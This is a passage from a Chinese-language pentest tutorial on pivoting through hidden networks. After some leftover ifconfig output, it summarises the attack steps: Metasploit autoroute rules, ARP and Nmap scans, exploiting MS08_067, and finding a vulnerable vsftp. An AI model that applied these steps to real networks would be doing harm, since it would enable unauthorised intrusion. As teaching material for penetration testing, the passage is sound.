- TX packets:18161 errors:0 dropped:0 overruns:0 carrier:0
- collisions:0 txqueuelen:0
- RX bytes:5307479 (5.0 MB) TX bytes:5307479 (5.0 MB)
复制代码
总结攻击者通过以下步骤,发现了2个不同的隐藏网络: 1.攻击者控制了RD主机,该主机和攻击机在同一个网络中 2.得知RD主机有2张网卡 3.通过使用autoroute post模块,定义一个路由规则 4.攻击者对7.7.7.0/24网络执行ARP和NMAP扫描,之后发现了命名为JC的主机 5.JC存在两个不同的漏洞,分别为MS08_067和Easy File Share应用的BOF漏洞 6.成功利用MS08_067漏洞,获取7.7.7.20访问 7.继续收集信息,发现JC也有2张网卡 8.在7.7.7.20上添加第二个路由规则 9.对8.8.8.0/24网络执行ARP和NMAP扫描 10.在命名为SK的8.8.8.9机器上发现存在漏洞的vsftp版本 11.结束 [url=http://image.3001.net/images/20170116/14845370692008.png]
from:http://www.freebuf.com/articles/network/125278.html
|